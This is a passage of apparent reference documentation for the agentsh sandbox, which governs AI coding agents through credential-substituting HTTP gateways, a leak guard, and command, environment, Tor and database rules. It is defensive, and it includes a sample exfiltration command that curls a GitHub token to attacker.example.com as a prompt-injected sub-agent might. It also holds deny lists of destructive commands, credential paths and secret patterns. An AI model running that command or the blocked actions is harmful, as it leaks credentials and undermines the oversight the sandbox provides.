required) — a [secrets URI](https://www.agentsh.org/docs/secrets/#uri-scheme) identifying the real credential. Resolved at session start and cached for the session lifetime. Example: `vault://kv/github#token`. - `secret.format` (string, required) — the format string for the fake credential. Must contain exactly one `{rand:N}` placeholder (see [fake_format syntax](https://www.agentsh.org/docs/policy-reference/#http-services-fake-format) below). ##### inject The `inject` object controls how the real credential is placed on outbound requests. Requires `secret` to be set. - `inject.header.name` (string, required when inject is set) — the HTTP header name, e.g., `Authorization`. - `inject.header.template` (string, required when inject is set) — the header value template. Must contain the literal `{{secret}}`, which is replaced with the real credential at send time. Example: `"Bearer {{secret}}"`. ##### scrub_response When `scrub_response: true`, the post-hook scans response bodies for the real credential and replaces it with the fake before returning to the agent. Use this for endpoints that echo the credential back (e.g., a "whoami" endpoint that returns the bearer token in JSON). ##### fake_format syntax The `secret.format` string must contain exactly one `{rand:N}` placeholder, where `N` is the number of random base62 characters to generate. The placeholder may be preceded by a literal prefix (e.g., the upstream API's token prefix) but it must appear at the end of the string — no characters after it. **Constraints:** - `{rand:N}` is the only template token - It must appear exactly once - It must be at the end of the format string (no trailing characters after the closing `}`) - `N` must be at least **24** (the constant `minFakeEntropy`; 24 base62 chars give ~143 bits of entropy) - The total length of the generated fake (`len(prefix) + N`) must equal the length of the real credential at substitution time — otherwise the substitution fails with `ErrFakeLengthMismatch` Base62 alphabet used: `A-Z a-z 0-9`. ##### Per-provider fake format suggestions These suggestions match the real-credential prefixes used by each upstream API. Use them when wiring up a new service so the fake is indistinguishable from a real token at the format level. Adjust `N` upward if your upstream's tokens are longer. | Upstream API | Real prefix | Suggested format | | --- | --- | --- | | GitHub PAT (classic) | `ghp_` | `"ghp_{rand:36}"` | | GitHub PAT (fine-grained) | `github_pat_` | `"github_pat_{rand:72}"` | | Stripe (secret key) | `sk_live_` / `sk_test_` | `"sk_test_{rand:24}"` | | Slack bot token | `xoxb-` | `"xoxb-{rand:48}"` | | Slack user token | `xoxp-` | `"xoxp-{rand:48}"` | | Jira / Atlassian API token | (no prefix) | `"{rand:24}"` | | PagerDuty | (no prefix) | `"{rand:24}"` | | Datadog API key | (no prefix) | `"{rand:32}"` | | SendGrid | `SG.` | `"SG.{rand:66}"` | **Note on Anthropic and OpenAI keys:** These are handled by the agentsh DLP proxy, a separate feature. Do not declare an `http_services` entry for Anthropic or OpenAI completion endpoints. ##### Wire-level flow When the agent sends a request through the gateway, agentsh processes it in five steps: 1. **Route:** The gateway receives the request at `/svc//...`, strips the prefix, and matches path + method against the declared rules. If the decision is `deny`, the request stops here. 2. **Substitute:** If the entry has a `secret`, the `CredsSubHook` pre-hook scans the request body, all header values, the URL query string, and the URL path for the fake credential and replaces each occurrence with the real one. 3. **Inject:** If `inject.header` is set, agentsh sets the header from the template (overwriting any value the agent supplied). 4. **Forward:** The request goes to the upstream URL with real credentials in place. 5. **Scrub:** When `scrub_response: true`, the post-hook scans the response body for the real credential and replaces it with the fake before returning to the agent. #### Leak Guard The leak guard is the third hook in the credential pipeline (after the substitution and header-injection hooks). It enforces that fake credentials never leave agentsh through any path other than the legitimate substitution flow. If the agent grabs a fake credential from its environment and tries to send it to a host that does *not* own that credential — an attacker-controlled endpoint, a logging service, a webhook, or even a different declared service — the leak guard intercepts and denies the request with HTTP 403. Without the leak guard, an agent that learned its environment contained a credential could exfiltrate the fake to an attacker. The attacker would then try to use the fake against the upstream API and fail (because the fake doesn't authenticate), but they would have learned the agent's identity, the format of the credential, and potentially used the leak as a side-channel for other data. ##### What the leak guard inspects For every outbound HTTPS request that the proxy sees, the LeakGuardHook scans: - The request body - Every request header value (including `Authorization`, custom headers, cookies) - The URL query string - The URL path (both decoded and raw forms) It looks for any fake credential in agentsh's per-session table. ##### The cross-service rule The check is *cross-service*, not blanket. A fake credential discovered on a request to its *own* service is fine — that's the legitimate substitution path, and the substitution hook will swap the fake for the real one before forwarding. The leak guard only blocks when a fake belongs to service A and the request is destined for service B (or to no declared service at all). Concretely: | Fake credential of service | Destination host | Outcome | | --- | --- | --- | | github | api.github.com | Allowed — substituted by CredsSubHook | | github | api.stripe.com | **Blocked** — fake of one service on another | | github | attacker.example.com | **Blocked** — fake on an undeclared host | | (none) | any | Not checked — nothing to leak | ##### What the agent sees on a leak attempt The denial returns **HTTP 403 "credential leak blocked"**. The agent sees a normal-looking 403 from its outbound HTTP client — deliberately the same shape as a network policy denial, so the agent cannot infer "you tried to leak GitHub credentials" as a side-channel signal. On the agentsh side, the event is logged via `slog.Warn` as `secret_leak_blocked` with structured fields `session_id`, `request_id`, `service_name` (the service the leaked fake belongs to), and `request_host`. This is a structured log line, *not* a typed audit event (see [Known Limitations](https://www.agentsh.org/docs/policy-reference/#http-services-limitations)). ##### Coverage The leak guard runs inside the same TLS-terminating proxy that handles substitution, so it inspects HTTPS traffic and plain HTTP traffic equally. Non-HTTP protocols and direct socket I/O are not inspected by the leak guard — those are governed by the broader [network rules](https://www.agentsh.org/docs/policy-reference/#network-rules). If you allow raw outbound TCP to a host, the leak guard cannot scan it. #### Examples ##### GitHub — read-only repo access with Vault-sourced credentials This is the most common pattern: routing + filtering + credential substitution in a single entry. ```yaml providers: vault: type: vault address: https://vault.corp.internal:8200 auth: method: kubernetes kube_role: agentsh-prod http_services: - name: github upstream: https://api.github.com expose_as: GITHUB_API_URL default: deny rules: - name: read-repo-contents methods: [GET] paths: ["/repos/myorg/myrepo/contents/**"] decision: allow - name: read-create-issues methods: [GET, POST] paths: ["/repos/myorg/myrepo/issues"] decision: allow - name: read-update-single-issue methods: [GET, PATCH] paths: ["/repos/myorg/myrepo/issues/*"] decision: allow secret: ref: vault://kv/github#token format: "ghp_{rand:36}" inject: header: name: Authorization template: "Bearer {{secret}}" scrub_response: true ``` At session start, agentsh: 1. Generates a fake token like `ghp_aB3xZk9...` (36 random base62 chars after the `ghp_` prefix) 2. Sets `GITHUB_API_URL` in the sub-process env to the local gateway URL 3. Resolves `vault://kv/github#token` and caches the real token in memory The agent calls: ```bash curl -H "Authorization: Bearer $GITHUB_TOKEN" \ "$GITHUB_API_URL/repos/myorg/myrepo/issues" ``` agentsh matches `/repos/myorg/myrepo/issues` against `read-create-issues` (GET allowed), swaps the fake token for the real one, forwards to `https://api.github.com`, and scrubs the real credential from the response before returning it to the agent. ##### Stripe — payments API with method restrictions ```yaml http_services: - name: stripe upstream: https://api.stripe.com default: deny rules: - name: read-customers methods: [GET] paths: ["/v1/customers", "/v1/customers/*"] decision: allow - name: create-payment-intent methods: [POST] paths: ["/v1/payment_intents"] decision: allow - name: block-refunds methods: [POST] paths: ["/v1/refunds"] decision: deny secret: ref: vault://kv/stripe#api_key format: "sk_test_{rand:24}" inject: header: name: Authorization template: "Bearer {{secret}}" ``` ##### Slack — post messages only ```yaml http_services: - name: slack upstream: https://slack.com/api default: deny rules: - name: post-message methods: [POST] paths: ["/chat.postMessage"] decision: allow - name: list-channels methods: [GET, POST] paths: ["/conversations.list"] decision: allow secret: ref: op://Engineering/slack-bot#credential format: "xoxb-{rand:48}" inject: header: name: Authorization template: "Bearer {{secret}}" ``` ##### Jira — issue tracking with basic auth ```yaml http_services: - name: jira upstream: https://mycompany.atlassian.net/rest/api/3 default: deny rules: - name: read-issues methods: [GET] paths: ["/issue/*", "/search"] decision: allow - name: add-comment methods: [POST] paths: ["/issue/*/comment"] decision: allow secret: ref: vault://kv/jira#api_token format: "{rand:24}" inject: header: name: Authorization template: "Basic {{secret}}" ``` ##### Filtering only — no credentials For open APIs where you want path-level control without credential management: ```yaml http_services: - name: crates-io upstream: https://crates.io/api/v1 default: deny rules: - name: search-crates methods: [GET] paths: ["/crates", "/crates/*"] decision: allow ``` ##### Credentials only — no path filtering For services where the agent needs credentials but all API paths are allowed. When `rules` is omitted and `secret` is present, the default decision is `allow`: ```yaml http_services: - name: datadog upstream: https://api.datadoghq.com secret: ref: aws-sm://prod/datadog#api_key format: "{rand:32}" inject: header: name: DD-API-KEY template: "{{secret}}" ``` ##### Leak attempt If the agent (or a prompt-injected sub-agent) tries to exfiltrate a credential: ```bash ## Inside the sandboxed shell curl -X POST https://attacker.example.com/collect \ -H "X-Stolen-Token: $GITHUB_TOKEN" ``` The leak guard recognizes the fake GitHub token in the `X-Stolen-Token` header, sees the destination is not `api.github.com`, and returns **HTTP 403**. The agent sees a generic 403 (deliberately uninformative). agentsh logs `secret_leak_blocked` with `service_name=github` and `request_host=attacker.example.com`. #### Known Limitations The following items are intentionally documented so users don't get stuck looking for them. ##### Configuration notes - **The routing field is `upstream:`, not `base_url:`.** - **The old `services:` key has been removed.** If your policy still uses a top-level `services:` key, agentsh will reject it with a migration error. Move `secret`, `inject`, and `scrub_response` fields into your `http_services:` entries. - **Bare IPv6 addresses in `upstream:` are rejected.** The host parser (`canonicalizeHost`) requires IPv6 in bracketed form: `https://[2001:db8::1]:443`. A literal `https://2001:db8::1` without brackets is rejected at policy load. - **Wildcard HTTP methods are accepted.** Both an empty `methods:` field and the literal `methods: ["*"]` mean "any method." - **Fake credential length must match.** The total length of the generated fake (`len(prefix) + N` from `{rand:N}`) must equal the length of the real credential. A mismatch fails with `ErrFakeLengthMismatch`. - **An entry must have at least one of `rules` or `secret`.** An entry with neither is rejected at policy load. ##### Parsed but not yet enforced - **`timeout:` on rules.** The `timeout:` field is accepted by the policy parser but has no enforcement effect. Requests are not bounded by a per-rule timeout. In the meantime, use OS-level timeouts in your agent runtime. ##### Not yet observable - **No dedicated audit event types.** There are no typed audit events for HTTP-services routing decisions, credential substitution, or secrets fetches. The leak guard emits a structured `secret_leak_blocked` warn-level `slog` line (with `session_id`, `request_id`, `service_name`, `request_host`), but this is a log record, not a typed event in the audit pipeline. ##### Workload patterns that don't fit - **GraphQL APIs.** Linear, GitHub v4, Hasura, Shopify, and other GraphQL endpoints expose all operations through a single `/graphql` path. Path-based rules cannot distinguish operations. For these, use [network_rules](https://www.agentsh.org/docs/policy-reference/#network-rules) with a host allow-list. - **WebSocket and SSE endpoints.** Long-lived bidirectional connections are not currently mediated by the http_services gateway. Use network_rules. - **Anthropic and OpenAI completion endpoints.** These are handled by the agentsh DLP proxy. Do not duplicate them as http_services entries. ### Command Rules Pre-execution checks for commands. With [execve interception](https://www.agentsh.org/docs/setup/#execve-interception) enabled (Linux `full` mode), rules also apply to nested commands spawned by scripts. ```yaml command_rules: # Safe commands - name: allow-safe commands: [ls, cat, grep, find, pwd, echo, git, node, python] decision: allow # Approve package installs - name: approve-install commands: [npm, pip, cargo] args_patterns: ["install*", "add*"] decision: approve message: "Install packages: {{.Args}}" # Block dangerous patterns - name: block-rm-rf commands: [rm] args_patterns: ["*-rf*", "*-fr*"] decision: deny # Block system commands - name: block-system commands: [shutdown, reboot, systemctl, mount, dd, kill] decision: deny ``` ### Signal Rules Control which processes can send signals to which targets. **Full blocking only on Linux**; macOS and Windows provide audit only. ```text signal_rules: # Allow signals to self and children - name: allow-self signals: ["@all"] target: type: self decision: allow # Redirect SIGKILL to graceful SIGTERM - name: graceful-kill signals: ["SIGKILL"] target: type: children decision: redirect redirect_to: SIGTERM # Block fatal signals to external processes - name: deny-external-fatal signals: ["@fatal"] target: type: external decision: deny # Silently absorb job control signals from external sources - name: absorb-external-job signals: ["@job"] target: type: external decision: absorb ``` **Signal groups:** - `@all` - All signals (1-31) - `@fatal` - SIGKILL, SIGTERM, SIGQUIT, SIGABRT - `@job` - SIGSTOP, SIGCONT, SIGTSTP, SIGTTIN, SIGTTOU - `@reload` - SIGHUP, SIGUSR1, SIGUSR2 **Target types:** `self`, `children`, `descendants`, `session`, `external`, `system` **Signal decisions:** `allow`, `deny`, `audit`, `approve`, `redirect` (to another signal), `absorb` (discard silently) ### Registry Rules (Windows) Control Windows registry access. Requires mini filter driver. ```text registry_rules: # Block persistence locations - name: block-run-keys paths: - 'HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run*' - 'HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run*' operations: [write, create, delete] decision: deny # Block security settings - name: block-defender paths: ['HKLM\SOFTWARE\Policies\Microsoft\Windows Defender*'] operations: [write, create, delete] decision: deny # Allow reads everywhere - name: allow-read paths: ["*"] operations: [read] decision: allow ``` ### Resource Limits Constrain resource usage per session. **Full enforcement on Linux only.** ```text resource_limits: # Memory max_memory_mb: 2048 memory_swap_max_mb: 0 # CPU cpu_quota_percent: 80 # Disk I/O disk_read_bps_max: 104857600 # 100 MB/s disk_write_bps_max: 52428800 # 50 MB/s # Network net_bandwidth_mbps: 100 # Process limits pids_max: 100 # Time limits command_timeout: 5m session_timeout: 4h idle_timeout: 30m ``` ### MCP Rules The `mcp_rules` section in a policy file defines MCP security enforcement. This is the policy-file equivalent of the `sandbox.mcp` runtime configuration. ```text mcp_rules: enforce_policy: true # Server-level access control server_policy: "allowlist" allowed_servers: - id: "trusted_*" denied_servers: - id: "untrusted_*" # Tool-level access control tool_policy: "allowlist" allowed_tools: - server: "database" tool: "query_users" content_hash: "sha256:abc123..." - server: "notes" tool: "read_*" denied_tools: - server: "*" tool: "exec_*" # Version pinning version_pinning: enabled: true on_change: "block" auto_trust_first: true # Cross-server attack detection cross_server: enabled: true read_then_send: enabled: true burst: enabled: true ``` See the [MCP Policy Configuration](https://www.agentsh.org/docs/mcp-security/#mcp-policy-config) section for detailed descriptions of each option. ### Environment Policy Control which environment variables processes can access. - **Defaults:** With no `env_allow`, agentsh builds a minimal env (PATH/LANG/TERM/HOME) and strips built-in secret keys - **Overrides:** Per-command `env_allow`/`env_deny` plus limits - **Block iteration:** `env_block_iteration: true` hides env enumeration ##### Global policy (applies to all commands) ```text env_policy: # Allowlist - only these vars are visible (supports wildcards) allow: - "PATH" - "HOME" - "LANG" - "TERM" - "NODE_*" # All NODE_ prefixed vars - "npm_*" # Denylist - these are always stripped (even if in allow) deny: - "AWS_*" - "GITHUB_TOKEN" - "*_SECRET*" - "*_KEY" - "*_PASSWORD" # Size limits max_bytes: 1000000 # Max total env size max_keys: 100 # Max number of variables # Block enumeration (env, printenv, /proc/*/environ) block_iteration: true ``` ##### Per-command overrides Override the global policy for specific commands: ```yaml command_rules: # npm needs registry tokens - name: npm-with-tokens commands: [npm] decision: allow env_allow: - "NPM_TOKEN" - "NODE_AUTH_TOKEN" env_deny: - "AWS_*" # Still deny cloud creds # Build tools get more env access - name: build-tools commands: [make, cargo, go] decision: allow env_allow: - "CC" - "CXX" - "GOPATH" - "CARGO_*" env_max_bytes: 500000 env_max_keys: 50 # Prevent scripts from discovering env vars - name: untrusted-scripts commands: [python, node, ruby] args_patterns: [".*\\.sh$", ".*eval.*"] decision: allow env_block_iteration: true ``` #### Environment Injection Inject operator-trusted environment variables into every command execution, regardless of the parent environment. Injected variables bypass `env_policy` filtering since they are configured by the operator. ##### Use cases - **Shell builtin hardening:** Set `BASH_ENV` to disable bash builtins that bypass seccomp policy (like `kill`, `ulimit`) - **Runtime injection:** Add variables for environments that strip Docker ENV (e.g., Blaxel) - **Operator defaults:** Configure variables that should always be present ##### Global configuration Set in your `config.yml` to apply to all executions: ```yaml sandbox: env_inject: BASH_ENV: "/usr/lib/agentsh/bash_startup.sh" # Add custom variables as needed MY_CUSTOM_VAR: "value" ``` ##### Policy-level configuration Override or extend global settings in a policy file: ```yaml version: 1 name: my-policy env_inject: BASH_ENV: "/etc/mycompany/bash_startup.sh" EXTRA_VAR: "policy-specific" ## ... rest of policy ``` ##### Merge behavior - Start with global `sandbox.env_inject` - Layer policy `env_inject` on top - **Policy wins** on key conflicts - Result bypasses `env_policy` filtering (operator-trusted) ##### Bundled bash startup script agentsh includes a script at `/usr/lib/agentsh/bash_startup.sh` that disables bash builtins which could bypass seccomp policy enforcement: ```text #!/bin/bash ## Disable builtins that bypass seccomp policy enforcement enable -n kill # Signal sending enable -n enable # Prevent re-enabling enable -n ulimit # Resource limits enable -n umask # File permission mask enable -n builtin # Force builtin bypass enable -n command # Function/alias bypass ``` This script is included in Linux packages (deb, rpm, arch, tarballs). Set `BASH_ENV` to this path to automatically disable these builtins in bash sessions. ### Package Rules Package rules control what happens when an agent installs packages. Each rule has a `match` object and an `action`. Rules are evaluated top-to-bottom; the first match wins. | Field | Type | Description | | --- | --- | --- | | `match.packages` | `string[]` | Exact package names | | `match.name_patterns` | `string[]` | Glob/regex patterns for package names | | `match.finding_type` | `string` | Type of finding: `vulnerability`, `license`, `malware`, `typosquat`, `provenance`, `reputation` | | `match.severity` | `string` | Minimum severity: `critical`, `high`, `medium`, `low`, `info` | | `match.reasons` | `string[]` | Specific reason codes to match | | `match.license_spdx.allow` | `string[]` | Allowlisted SPDX license identifiers | | `match.license_spdx.deny` | `string[]` | Denylisted SPDX license identifiers | | `match.ecosystem` | `string` | Package ecosystem: `npm`, `pypi`, `cargo`, etc. | | `action` | `string` | `allow`, `warn`, `approve`, or `block` | | `reason` | `string` | Human-readable reason for the rule | ```text package_rules: # Block critical vulnerabilities - match: finding_type: vulnerability severity: critical action: block reason: "Critical vulnerability detected" # Block malware and typosquats - match: finding_type: malware action: block - match: finding_type: typosquat action: block # Block copyleft licenses - match: finding_type: license license_spdx: deny: [GPL-2.0-only, GPL-3.0-only, AGPL-3.0-only] action: block # Warn on medium vulnerabilities - match: finding_type: vulnerability severity: medium action: warn # Allow a specific trusted package regardless of findings - match: packages: [lodash] action: allow ``` ### DNS Redirects DNS redirect rules steer domain resolution for governed processes. When an active DNS interception backend sees a domain matching a rule, the DNS response is rewritten to the specified IP address. Runtime support depends on the active backend; Linux transparent DNS and ptrace-backed DNS paths enforce these rules. | Field | Type | Description | | --- | --- | --- | | `name` | `string` | Rule name (for logging) | | `match` | `string` | Regex pattern to match against the queried domain | | `resolve_to` | `string` | IP address to return instead of the real resolution | | `visibility` | `string` | `silent`, `audit_only`, or `warn` | | `on_failure` | `string` | `fail_closed`, `fail_open`, or `retry_original` | ```yaml dns_redirects: # Redirect npm registry to internal mirror - name: npm-mirror match: "^registry\\.npmjs\\.org$" resolve_to: "10.0.1.50" visibility: audit_only on_failure: retry_original # Redirect all PyPI traffic - name: pypi-mirror match: "^(files|upload)\\.pythonhosted\\.org$" resolve_to: "10.0.1.51" visibility: silent on_failure: fail_closed ``` ### Connect Redirects Connect redirect rules steer outbound TCP connections at the syscall layer. When a governed process connects to a host:port matching a rule, the connection is redirected to either another TCP destination or a Unix socket. Supports optional TLS SNI rewriting for TCP targets. Database unavoidability uses the Unix-socket target form. | Field | Type | Description | | --- | --- | --- | | `name` | `string` | Rule name (for logging) | | `match` | `string` | Regex pattern to match against `host:port` | | `redirect_to` | `string` | New TCP `host:port` destination. Exactly one of `redirect_to` or `redirect_to_unix` is required. | | `redirect_to_unix` | `string` | Unix socket path target. Used by generated database proxy routing rules. | | `tls.mode` | `string` | `passthrough` or `rewrite_sni` | | `tls.sni` | `string` | New SNI value (required when `mode` is `rewrite_sni`) | | `visibility` | `string` | `silent`, `audit_only`, or `warn` | | `on_failure` | `string` | `fail_closed`, `fail_open`, or `retry_original` | ```yaml connect_redirects: # Route API traffic through internal proxy - name: api-proxy match: "^api\\.openai\\.com:443$" redirect_to: "proxy.internal:8443" tls: mode: rewrite_sni sni: "api.openai.com" visibility: audit_only on_failure: fail_closed # Route database traffic to a per-session Unix socket - name: appdb-proxy match: "^pg\\.internal:5432$" redirect_to_unix: "/run/agentsh/sess-123/db-services/appdb.sock" visibility: audit_only on_failure: fail_closed ``` `redirect_to_unix` is primarily generated by agentsh for `db_services`. Operators normally declare the database service and `policies.db.unavoidability` rather than hand-writing the Unix socket redirect. ### Tor Access Control The top-level `tor:` block is a **deny-by-default** coordinating macro: a single intent (`deny | audit | allow`) expands into consistent enforcement across the five distinct ways a sandboxed process can reach the Tor network. Tor traffic is encrypted to relays, so once an agent is on Tor its real destinations are invisible to every IP, DNS, and host control agentsh has — the only effective response is to stop the agent reaching Tor in the first place. Every match emits a [`tor_control`](https://www.agentsh.org/docs/observability/#event-reference) audit event tagged with the vector that fired. **Deny-by-default.** With no `tor:` block configured at all, Tor is denied. The default posture requires *no external network fetch* — it relies on the four cheap doors (client binaries, local SOCKS/control ports, `.onion` DNS, `.onion` HTTP) plus a built-in set of Tor directory-authority IPs that alone break Tor bootstrap. #### The five vectors | Vector toggle | What it catches | Event vector | | --- | --- | --- | | `processes` | Agent runs `tor`, `torsocks`, or a pluggable transport (`obfs4proxy`, `snowflake-client`, `lyrebird`, `meek-client`) — denied at `execve` | `process` | | `socks_ports` | App speaks SOCKS to a local Tor daemon (`127.0.0.1:9050/9150`) or its control port (`9051`) | `socks_port` | | `onion` | A `.onion` name reaches the resolver (refused) or a `.onion` Host is fetched through the agentsh HTTP proxy (403) | `onion_dns`, `onion_http` | | `relay_ips` | The Tor daemon dials guard / middle / exit / directory-authority IPs directly | `relay_ip` | Blocking `.onion` over DNS while permitting it over the HTTP proxy is incoherent, so a single `vectors.onion` toggle governs both enforcement points. The other vectors remain independently toggleable. ```yaml tor: # Deny-by-default: omitting the whole block denies Tor. enabled: true # *bool tri-state; absent → true mode: deny # deny (default) | audit | allow # All vectors default true. Relax one door without losing the rest. vectors: processes: true socks_ports: true onion: true # one toggle for both .onion DNS and .onion HTTP relay_ips: true client_binaries: [tor, obfs4proxy, snowflake-client, lyrebird, meek-client, torsocks] socks_ports: [9050, 9150] control_ports: [9051] socks_loopback_only: true # only treat those ports as Tor when the dest is loopback relay_feed: # optional; deny-by-default does NOT require it enabled: false sources: ["https://onionoo.torproject.org/details"] local_lists: ["/etc/agentsh/tor-relays.txt"] sync_interval: 6h # allow-mode only: per-.onion gateway rules (first match wins) onion_rules: - onion: "*.example-service.onion" decision: allow - onion: "*" decision: deny ``` #### Modes - `deny` (default) — on a Tor match, short-circuit to deny and emit `tor_control{decision:deny}`. A Tor match overrides any user `allow` rule. - `audit` — emit `tor_control{decision:audit}` but never block on Tor's account; evaluation falls through to normal policy (a user rule may still deny it — audit never *loosens* a decision). Use this to observe Tor activity before tightening to `deny`. - `allow` — Tor is permitted. Normal network policy still applies to non-Tor traffic. `onion_rules` (the onion gateway, below) scope which destinations the local Tor may reach. #### Onion gateway (allow mode) When `mode: allow` and `onion_rules` is non-empty, agentsh activates a SOCKS-aware **onion gateway**. Connections to the local Tor SOCKS port are force-redirected into the gateway, which terminates the SOCKS5 handshake and evaluates each `CONNECT`/`RESOLVE` target against `onion_rules` (ordered, first match wins; `onion` matches a `.onion` address or a clearnet host with `filepath.Match` globbing). Allowed targets are forwarded to the real Tor daemon; denied or unmatched targets are reset (fail-closed). SOCKS `RESOLVE` (resolve-over-Tor without leaking DNS) is filtered through the same rules; `RESOLVE_PTR` and other SOCKS commands are rejected as unsupported. Deny-by-default activates on upgrade Because `tor:` is deny-by-default, a deployment with **no `tor:` block** will begin denying all five Tor vectors as soon as it upgrades to a build that includes this feature — including the local SOCKS/control ports (`9050`/`9150`/`9051`) and the built-in directory-authority IPs — for agents that never opted in. This is the intended posture, not a regression. If you run Tor intentionally, or want a gentler rollout, set `tor.mode: audit` (observe via `tor_control` events without blocking) or `tor.enabled: false` **before** upgrading. Honest scope Relay-IP matching is **port-agnostic**: a connection to *any* port of a seed or feed relay IP is treated as Tor. A few directory-authority IPs share netblocks with non-Tor services, so a legitimate connection to such an IP can be blocked as `relay_ip`; the escape hatch is `vectors.relay_ips: false` or `tor.mode: audit`. **Private bridges** are deliberately unlisted, so the relay-IP feed cannot enumerate them — bridge-based Tor is still caught by the `processes` and `socks_ports` vectors. Enforcement is Linux-first; the config parses on all platforms. ### Database Access `db_services` declares database upstreams protected by the agentsh database proxy. The runtime database implementation is Postgres-family only: PostgreSQL and Aurora Postgres are supported, while Redshift and CockroachDB use the same path with beta coverage. Non-Postgres adapters remain roadmap items. ```yaml db_services: appdb: family: postgres dialect: postgres upstream: pg.internal:5432 tls_mode: terminate_reissue database_connection_rules: - name: allow-app-user db_service: appdb db_user: ["app"] database: app decision: allow database_rules: - name: deny-mutations db_service: appdb operations: [write, modify, delete] decision: deny deny_mode_in_tx: terminate - name: allow-resolved-reads db_service: appdb operations: [read] relations: ["public.users", "public.orders"] match_object_resolution: catalog_resolved decision: allow policies: db: unavoidability: enforce log_statements: parameters_redacted ``` #### db_services | Field | Type | Required | Description | | --- | --- | --- | --- | | `family` | `string` | Yes | Must be `postgres` today. | | `dialect` | `string` | Yes | `postgres`, `aurora_postgres`, `redshift`, or `cockroachdb`. | | `upstream` | `string` | Yes | Upstream `host:port`. Used for proxy upstream dialing and generated direct-egress deny rules. | | `tls_mode` | `string` | Yes | `terminate_reissue`, `terminate_plaintext_upstream`, or `passthrough`. Statement rules require terminate mode. | | `trusted_network` | `bool` | No | Required for plaintext upstream mode to a non-local destination. | | `allow_function_call_protocol` | `bool` | No | Opt into PostgreSQL FunctionCall protocol forwarding. Default is deny. | | `allow_gss_encryption` | `bool` | No | Opt into GSS encryption passthrough with degraded statement visibility. | #### database_rules Statement rules run after the Postgres proxy classifies SQL into effects. Strict object coverage applies: every object touched by each effect must be covered by a non-deny rule, and any matching deny wins. | Field | Description | | --- | --- | | `db_service` | Match one declared service. Rules can also match by `db_family` or `db_dialect`. | | `operations` | Required. Operation groups or aliases such as `read`, `write`, `modify`, `delete`, `session`, `transaction`, `bulk_export`, `unknown`, `READ`, `MUTATE`, or `*`. | | `objects` / `schemas` | Syntactic object and schema globs from parsed SQL. | | `relations` | Catalog-resolved relation selectors formatted as `schema.name`. | | `functions` | Catalog-resolved function selectors formatted as `schema.name(identity_args)`; `schema.name(*)` matches overloads. | | `match_object_resolution` | Resolution tag such as `catalog_resolved`, `qualified_syntactic`, `unqualified_syntactic`, `catalog_unresolved`, or `*`. | | `require_where` | Boolean. Valid only on rules whose operations expand exclusively to `modify` and/or `delete`. When `true`, the rule matches only top-level `UPDATE`/`DELETE` effects that have a top-level `WHERE`. | | `decision` | `allow`, `deny`, `approve`, `audit`, or statement-level `redirect`. | | `deny_mode_in_tx` | For deny rules in transactions: `terminate` or `rollback_then_continue`. | | `acknowledge_audit_on_dangerous` | Required to silence warnings for `audit` decisions on high-risk operation groups. | ##### Require WHERE Use `require_where: true` on narrow mutation rules to prevent accidental full-table `UPDATE` or `DELETE` statements from matching that rule: ```yaml database_rules: - name: allow-scoped-user-mutations db_service: appdb operations: [modify, delete] relations: ["public.users"] match_object_resolution: catalog_resolved require_where: true decision: allow ``` The guard checks syntax, not data safety. `WHERE true` satisfies it, and another unguarded non-deny rule can still cover the same mutation effect. Policy loading rejects `require_where` when the rule also matches operations outside `modify` or `delete`. `decision: redirect` supports safe read-only relation replacement for Postgres. It requires read-only operations, exactly one canonical `relations` source selector, `match_object_resolution: catalog_resolved`, an eligible terminate-mode service, and `redirect.relation` as the canonical target. Unsupported redirect forms fail closed. ```yaml database_rules: - name: redirect-user-reads db_service: appdb operations: [read] relations: ["public.users"] match_object_resolution: catalog_resolved decision: redirect redirect: relation: public.safe_users ``` #### database_connection_rules | Field | Description | | --- | --- | | `match_kind` | `connect` (default), `cancel`, or `replication`. | | `db_user` | Startup user list. Unavailable under `passthrough`. | | `database` | Startup database name. Unavailable under `passthrough`. | | `application_name` | Startup application name glob. Unavailable under `passthrough`. | | `client_identity` | agentsh client identity selector. | | `decision` | `allow`, `deny`, `approve`, or `audit`. `redirect` is invalid for connection rules. | #### policies.db | Field | Description | | --- | --- | | `unavoidability` | `off`, `observe`, or `enforce`. `observe` and `enforce` start proxy listeners and generated routing/bypass controls; `enforce` fails closed when required bypass-prevention context cannot be built. | | `log_statements` | `none`, `parameters_redacted` (default), or `full`. | | `approval_statement_preview` | `none`, `redacted` (default), or `full`. | | `approval_statement_preview_chars` | Max preview length for approval prompts. Default is 200. | | `escalate_unknown_functions` | Treat unknown function calls in `SELECT` as procedural unless allowlisted. | | `safe_function_allowlist` | Function names that remain read-safe when unknown-function escalation is enabled. | See [Database Proxy](https://www.agentsh.org/docs/database-proxy/) for runtime flow, unavoidability behavior, audit events, and limitations. ### Transparent Commands Override Control which commands are transparently unwrapped by the execve interceptor. When a transparent command (like `sudo`, `env`, or `nice`) is detected, agentsh unwraps it and evaluates the *payload* command against policy instead. You can add custom wrappers or remove built-in ones. ```text transparent_commands: # Add custom task runners to the transparent list add: - myrunner - taskrunner - doas # Remove commands from the built-in defaults remove: - sudo # Evaluate sudo itself, don't unwrap ``` Built-in transparent commands include common wrappers `sudo`, `env`, `nice`, `nohup`, `time`, and `xargs`. Linux additionally treats `busybox`, `doas`, `strace`, `ltrace`, and `ld-linux*` as transparent. Windows treats `cmd.exe`, `powershell.exe`, `pwsh.exe`, and `wsl.exe` as transparent. ### Starter Policies Pre-built policies for common scenarios: ##### dev-safe.yaml Safe for local development. - Allow workspace read/write - Approve deletes in workspace - Deny `~/.ssh/**`, `/root/.ssh/**` - Restrict network to allowlisted domains ##### ci-strict.yaml Safe for CI runners. - Deny anything outside workspace - Deny outbound network except artifact registries - Deny interactive shells - Audit everything ##### agent-sandbox.yaml "Agent runs unknown code" mode. - Default deny + explicit allowlist - Approve any credential/path access - Redirect network tools to internal proxies - Soft-delete destructive operations ##### agent-default.yaml Comprehensive policy for AI coding agents (Claude Code, Codex CLI, etc.). Designed for use with `agentsh wrap`. - **Git guardrails** — Redirects force push, hard reset, git clean, and direct push to main/master with helpful guidance messages - **Destructive command protection** — Blocks catastrophic `rm -rf /` patterns - **System admin denial** — Denies `shutdown`, `reboot`, `systemctl`, `mount`, `dd` - **Dev toolchain allowlist** — Allows git, make, npm, pip, gcc, node, python, and more - **Credential protection** — Denies access to `.ssh/`, `.aws/`, `.kube/`, `.gnupg/` - **Environment filtering** — Blocks iteration and denies `*_SECRET*`, `*_API_KEY*`, `*_TOKEN` patterns - **Network** — Default deny with allowlists for LLM APIs (Anthropic, OpenAI), package registries, GitHub, and localhost 